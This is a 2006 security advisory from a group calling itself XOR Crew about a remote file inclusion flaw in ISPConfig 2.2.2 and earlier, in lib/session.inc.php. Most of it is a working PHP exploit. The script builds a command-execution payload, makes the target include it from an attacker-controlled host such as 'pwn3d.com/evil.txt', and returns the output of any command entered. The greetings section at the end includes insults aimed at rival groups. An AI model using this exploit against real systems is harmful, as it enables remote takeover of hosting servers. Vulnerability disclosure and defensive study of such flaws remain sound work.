ISPConfig versions 2.2.2 and below suffer from a remote command execution vulnerability.
3afa11d4e09943f0e83eb84d90ebb26e401ddc3d3d28c6ac7b0108d1353be252
=======================================================================================
XOR Crew :: Security Advisory
5/6/2006
=======================================================================================
ISPConfig <= 2.2.2 - Remote Command Execution Vulnerability
=======================================================================================
http://www.xorcrew.net/
http://www.xorcrew.net/ReZEN
=======================================================================================
:: Summary
Vendor : ISPConfig
Vendor Site : http://www.ispconfig.org/
Product(s) : ISPConfig
Version(s) : All
Severity : Medium/High
Impact : Remote Command Execution
Release Date : 5/6/2006
Credits : ReZEN (rezen (a) xorcrew (.) net)
=======================================================================================
I. Description
ISPConfig is a fully-fledged solution for multi-domain Internet hosts,
covering email,
FTP, database and Web services through a nifty control panel. Throw in
security,
customer management and a billing solution, and it gets pretty attractive.
=======================================================================================
II. Synopsis
There is a remote file inclusion vulnerability that allows for remote
command execution
in the /lib/session.inc.php file. The bug is here:
include($go_info["server"]["classes_root"] .
$go_info["server"]["dir_trenner"]
."ispconfig_template.lib.php");
the $go_info["server"]["classes_root"] variable is not set prior to
being used in the
include() function. The vendor and support team have been contacted.
=======================================================================================
Exploit code:
-----BEGIN-----
<?php
/*
ISPConfig Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url: http://www.xorcrew.net/ReZEN
example:
turl:
http://www.target.com/lib/session.inc.php?go_info[server][classes_root]=
hurl: http://www.pwn3d.com/evil.txt?
*/
$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];
$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
."turl:<br><input type=\"text\" name=\"turl\" size=\"90\"
value=\"".$turl."\"><br>"
."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\"
value=\"".$hurl."\"><br>"
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";
if (!isset($_POST['submit']))
{
echo $form;
}else{
$file = fopen ("test.txt", "w+");
fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);
$file = fopen ($turl.$hurl, "r");
if (!$file) {
echo "<p>Unable to get output.\n";
exit;
}
echo $form;
while (!feof ($file)) {
$line .= fgets ($file, 1024)."<br>";
}
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;
}
?>
------END------
=======================================================================================
IV. Greets :>
All of xor, Infinity, stokhli, ajax, gml, my beautiful girlfriend.
!!!SP3C14L GR33TZ G03S 0UT T0 MY G00D FR13ND CIJFER!!!
!!!F*CK YOU to r0t der4444 cembo VietMafia (Pridels Sec Crew)!!!
=======================================================================================